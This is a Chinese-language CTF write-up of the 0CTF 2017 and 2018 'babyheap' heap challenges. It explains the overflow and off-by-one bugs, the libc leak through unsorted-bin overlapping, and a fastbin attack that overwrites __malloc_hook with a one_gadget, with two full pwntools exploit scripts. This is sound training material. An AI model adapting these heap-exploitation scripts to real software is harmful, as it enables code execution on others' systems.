2017/2018-0ctf-babyheap-writeup

因为最近2019届0ctf-tctf开始了,想去水一水,特别把2018的babyheap和2017的babyheap做了一下汲取一下经验,感觉两题类型相似,大致思路相同,2018比2017的利用条件更加苛刻一些。所以把两个题目放在一起来写,有助于加深对fastbin_attack的理解,和提高知识运用的灵活性。

首先提供两道题目的二进制文件:2017_0ctf_babyheap 2018_0ctf_babyheap

先来看2017的题目:

预览:

可以看到文件为64位,保护全开,给了Libc,标准的堆题。。。看到full relro一般为改hook为one_gadget。放进ida里进一步分析:

2017/2018-0ctf-babyheap-writeup_第1张图片

主要功能分析及漏洞寻找:

可以看到程序开始时先选了一段随机不可控的地址来储存heap列表的基地址(base_ptr)。紧接着就进入了死循环,打印菜单,输入选项,运行函数。逐个分析功能:

2017/2018-0ctf-babyheap-writeup_第2张图片

allocate()功能中,我们发现heap的content大小由我们自己决定(小于0x1000),是可控的,且heap结构体中会储存heap内容的大小。此外,我们申请堆块时用的是 calloc() 这意味着堆块的数据开始时要被初始化为0,这一点需要注意

2017/2018-0ctf-babyheap-writeup_第3张图片

fill()函数就是向我们申请过的chunk里填数据,不过有一个很明显的任意溢出更改漏洞。

2017/2018-0ctf-babyheap-writeup_第4张图片

free()就是将chunk指针free(),没有uaf漏洞。

print()函数就是打印对应下标的chunk的content,不过打印的内容是根据我们在allocate()时输入的size来决定的。

思考如何利用漏洞:

首先我们的最终目标定为:将malloc_hook改为one_gadget,现阶段,我们只能借助于程序自身的fill()功能来进行写,而fill()功能又需要一个堆指针,所以我们的目标转化为如何使堆指针分配到malloc_hook附近,我们运用fastbin功能与overlapping结合的方法来实现。

leak:

因为我们要确定malloc_hook的地址与one_gadget的地址,所以必须泄露出libc。

  1. 泄露功能,我们可以利用程序的print()功能来实现,先申请4个chunk(chunk2大小为smallchunk),然后通过0来改写1的size,然后通过标准的overlapping方法,先free()再malloc(),然后chunk2现在在1的里面,(这里要注意,因为是calloc,所以再次申请chunk1的时候,chunk2的chunk_header会被清零,需要fill()重新布置一下),然后free chunk2,将其放入unsortedbin中,然后通过chunk1的print()打印出chunk2的fd指针,成功泄露libc。(这一部分不理解的可以看我文末的心得,有我第一次做的时候查的资料,帮助理解。)

change:

之后我们就可以先把chunk2(大小我们申请为0x60)放进fastbin里,然后通过chunk1改其fd指针为&main_arena-0x33,然后在申请两次即可,然后再通过改chunk4的内容来改malloc_hook,再申请则会触发one_gadget。

exp如下:

#coding:utf-8

from pwn import *
context(os='linux',arch='amd64')
#context.log_level='debug'
p=process('./babyheap')
libc=ELF('./libc.so.6')

def allocate(length):
	p.recvuntil('Command: ')
	p.sendline('1')
	p.recvuntil(': ')
	p.sendline(str(length))

def fill(ID,length,payload):
	p.recvuntil('Command: ')
	p.sendline('2')
	p.recvuntil('Index: ')
	p.sendline(str(ID))
	p.recvuntil('Size: ')
	p.sendline(str(length))
	p.recvuntil('Content: ')
	p.send(payload)

def free(ID):
	p.recvuntil('Command: ')
	p.sendline('3')
	p.recvuntil('Index: ')
	p.sendline(str(ID))

def dump(ID):
	p.recvuntil('Command: ')
	p.sendline('4')
	p.recvuntil('Index: ')
	p.sendline(str(ID))

offset = 0x3c4b20
#---------------1.leak--------------------
#-------------overlapping start-----------
allocate(0x20)            #index 0
allocate(0x20)            #index 1
allocate(0x100)           #index 2
allocate(0x20)            #index 3  隔离index 2 防止其被topchunk合并
#---------------change--------------------
payload = 'a'*0x20+p64(0)+p64(0x141)
fill(0,len(payload),payload)
#gdb.attach(p)

#--------------free and malloc------------
free(1)
allocate(0x130)
payload = '\x00'*0x20+p64(0)+p64(0x111)    #因为calloc()会清空index 1
fill(1,len(payload),payload)
#--------------overlapping down-----------
free(2)
#gdb.attach(p)
dump(1)
p.recvuntil('Content: \n')
main_arena_addr = u64(p.recv()[48:48+6].ljust(8,'\x00')) - 88
libcbase = main_arena_addr - offset
one_gadget = 0x4526a   #0x4526a  0xf02a4  0xf1147
one_gadget_addr = libcbase + one_gadget
log.success('libcbase = ' + hex(libcbase))
#gdb.attach(p)
#-------------leak down-------------------

#---------------2.change------------------
p.sendline('1')           #index 2
p.recvuntil(': ')
p.sendline(str(96))
#gdb.attach(p)

free(2)
#gdb.attach(p)

fake_chunk_addr = main_arena_addr - 0x33
payload = 'a'*0x20+p64(0)+p64(0x71)+p64(fake_chunk_addr)
fill(1,len(payload),payload)
#gdb.attach(p)

allocate(0x60)          #index 2
#gdb.attach(p)

allocate(0x60)          #index 4

payload = 'a'*0x13 + p64(one_gadget_addr)
fill(4,len(payload),payload)

allocate(0x20)

p.interactive()

再来看2018的题目:

主要功能分析与漏洞寻找:

和2017年的题目类似,有一些小的变化,一个是allocate()最大只能申请0x58的chunk(虽然条件变得苛刻,但是等于从侧面告诉了我们方向是fastbin_attack),然后是fill()不再有任意溢出漏洞,而是只有off-by-one漏洞,这不影响overlapping,只是方法要复杂一点。

思考如何利用漏洞:

leak:

第一步肯定还是先想leak出libc,但是这个可能就有点小麻烦了。。。我们首先想到老方法:overlapping之后用大块打印小块的内容,但是小块一定是大于0x80的,所以我们不可能打印出小块的全部内容,我们也只需要fd指针位置的内容,这一点是可行的,但是因为chunk大小的限制,我们必须经过精心构造,来绕过检查。做了其他的fastbin_attack的题目后,又用了新方法:两个指针控制同一块chunk。。。。先将一块chunk(overlapping的小块)放进fastbin,然后利用overlapping的大块改其的fd指针最后一位为我们想要的重叠位置的chunk的地址的最后一位,因为内存页分配原则,导致他们地址除了最后的一个字节不一样,其他都一样。再malloc两次就完事,然后当重叠的chunk被free以后,还是可以通过另外一个堆指针来打印fd的内容,进行泄露。

change:

这里也要注意,因为chunk最大为0x60,所以原来的直接把&main_arena-0x33位置放进fastbin里已经失效(size为0x70),需要想别的办法。。。这里需要改top_chunk的地址(这里做的时候没想到。。。orz),首先要知道top_chunk的地址在&main_arena+80,而在&main_arena+80和&main_arena之间是用来存放fastbinY的,其值是fastbin中各个大小的的bins的头指针,如果全都没有的话则全为零,所以我们必须要一个chunk(其大小不能太小,不然离&main_arena+88太远控制不了)来压住,并利用其来伪造出fake_chunk的size。然后我们可以将fake_chunk设在伪造处,然后fill()更改top_chunk的地址为我们计划的地址(&main_arena-0x33),再次申请一个chunk(大小可以覆盖到malloc_hook)即可,然后再fill()更改其值。

exp如下(leak用的新方法):

#coding:utf-8

from pwn import *

context(os='linux',arch='amd64')
#context.log_level = 'debug'

p = process('./babyheap')
P = ELF('./babyheap')
libc = ELF('./libc-2.24.so')

def allocate(length):
	p.recvuntil('Command: ')
	p.sendline('1')
	p.recvuntil('Size: ')
	p.sendline(str(length))

def update(ID,payload):
	p.recvuntil('Command: ')
	p.sendline('2')
	p.recvuntil('Index: ')
	p.sendline(str(ID))
	p.recvuntil('Size: ')
	p.sendline(str(len(payload)))
	p.recvuntil('Content: ')
	p.send(payload)

def delete(ID):
	p.recvuntil('Command: ')
	p.sendline('3')
	p.recvuntil('Index: ')
	p.sendline(str(ID))

def view(ID):
	p.recvuntil('Command: ')
	p.sendline('4')
	p.recvuntil('Index: ')
	p.sendline(str(ID))

#leak出libc
size = 0x28
allocate(size)    #index 0
allocate(size)    #index 1
allocate(size)    #index 2
allocate(size)    #index 3
size = 0x80
allocate(size)    #index 4

payload = 'a'*0x28 + p8(0x61)
update(0,payload)

delete(1)

allocate(0x50)    #index 1

delete(0)
payload = 'a'*0x20+p64(0)+p64(0x31)
update(1,payload)
delete(2)

payload = 'a'*0x20+p64(0)+p64(0x31)+p8(0xc0)
update(1,payload)
#gdb.attach(p)
payload = 'a'*0x20+p64(0)+p8(0x31)
update(3,payload)

allocate(0x28)   #index 0
allocate(0x28)   #index 2
payload = 'a'*0x20+p64(0)+p8(0x91)
update(3,payload)
allocate(0x80)   #index 5
payload = 'a'*0x20+p64(0)+p64(0x31)
update(5,payload)
delete(4)

view(2)
p.recvuntil('Chunk[2]: ')
main_arena_addr = u64(p.recv(6).ljust(8,'\x00')) - 88
log.success('main_arena='+hex(main_arena_addr))

#gdb.attach(p)
libcbase = main_arena_addr - 0x3c4b20
one_gadget = 0x4526a
one_gadget_addr = one_gadget + libcbase
log.success('libc=' + hex(libcbase))
log.success('one_gadget='+hex(one_gadget_addr))
#gdb.attach(p)
#改malloc_hook的值为one_gadget
'''
#gdb.attach(p)
payload = 'a'*0x20+p64(0)+p64(0x71) 
update(1,payload)
payload = p64(0)+p64(0x81)
update(2,payload)

delete(0)

payload = 'a'*0x20+p64(0)+p64(0x71)+p64(main_arena_addr-0x33)
update(1,payload)
#gdb.attach(p)
''' 

allocate(0x48)     #index 4
delete(4)
payload = p64(main_arena_addr+37)
update(2,payload)

allocate(0x58)
delete(4)

allocate(0x48)    #index 4
#gdb.attach(p)
allocate(0x48)    #index 6
#gdb.attach(p)

payload = '\x00'*35 + p64(main_arena_addr-0x33)
update(6,payload)

#gdb.attach(p)
allocate(0x48)   #index 7
payload = '\x00'*0x13 + p64(one_gadget_addr)
update(7,payload)
#gdb.attach(p)

allocate(0x48)

'''
allocate(0x60)    #index 6

payload = 'a'*0x13 + p64(one_gadget_addr)
update(6,payload)
'''

p.interactive()

我第一次做两道题的时候的一些心得:

2017-0ctf-babyheap:

  • 这一题准备自己独立做的,结果只能相出大致思路,不会leak无法入手,看了writeup,学会了新姿势,也对fastbin attack有了更深的认识。

  • leak出libc的方法除了泄露got表外,还有另一种:通过泄露main_arena来泄露libc。详情见链接:

    利用main_arena泄露libc

  • __malloc_hook为函数指针,当其不为NULL时,优先调用其指向的函数,一般有堆题又开了full relro的基本为这种,或者是free的。

  • fastbin attack我的体会是其先free将chunk送入fastbin,然后如果有uaf的话直接改写其fd指针,没有uaf的话就通过溢出或者overlapping(需要off_one_by)来改写fd指针,然后再malloc使堆指针指向我们计划好的地方(这里需要注意要通过fastbin的检查,fake_chunk的size要和malloc(size)的size一样)。 fastbin的大小范围(总大小)为大于等于0x20小于等于0x80。

  • unsortedbin 的一些体会:ptr=malloc(0x80),free(ptr),会被分到unsortedbin中,unsortedbin的结构图在上面的链接里有,其是在main_arena+88处 main_arena又在libc的data的段里。 当malloc()时,当fastbin里没有大小正好合适的chunk的时候,会从unsortedbin中找到大小大于需求的块切割了分给用户,剩下的继续留在unsortedbin中。

  • 当free(smallchunk)时一定要注意不要被topchunk合并,并且不要触发unlink。

  • calloc()申请的空间会全设为’\x00’

2018_0ctf_babyheap:

  • 这一题算做出来百分之80,因为有2017年babyheap的经验大致思路有个轮廓。
  • 不知道为啥exp得多尝试几次才能成功,有时候会报错。???
  • 对堆的利用有了更深的理解:
    1. leak的方式:
      • 程序自带的打印功能,这又分为几种情况:
        1. 打印字符串(常见的有name,host等等),注意这些字符串输入的时候有没有最后 ‘\x00’ 的缺失,如果有的话就会泄露之后的数据;还要注意其是不是用strcpy()输入的,如果是的话,可能又会有漏洞。
        2. 打印功能的函数,目前碰到的有两种情况:
          1. 打印存在堆上的content的内容,而堆指针不知道在什么位置,这种一般是利用其泄露&main_arena+88的地址。
          2. 打印存在堆上的content的内容,而堆指针知道在什么位置(bss段)或者也在堆上,然后通过unlink或者其他的方法(程序的edit功能漏洞)将堆指针改为函数的got表(一定要是调用后的函数),然后泄露函数实际地址进而泄露libc。
      • 自己构造泄露,需要先通过操作实现change的功能,然后通过(比如)free(chunk_ptr),先改free_got的值为put_plt,然后将chunk_ptr的值设为某个函数的got表,就泄露了那个函数的实际地址。
    2. edit的方式:
      • 程序自带的edit功能,可能存在off-by-one类漏洞(一般之后为chunk overlapping),或者直接不限制大小直接输入。
      • 程序在申请chunk的时候就会输入内容。

你可能感兴趣的:(ctf-writeups)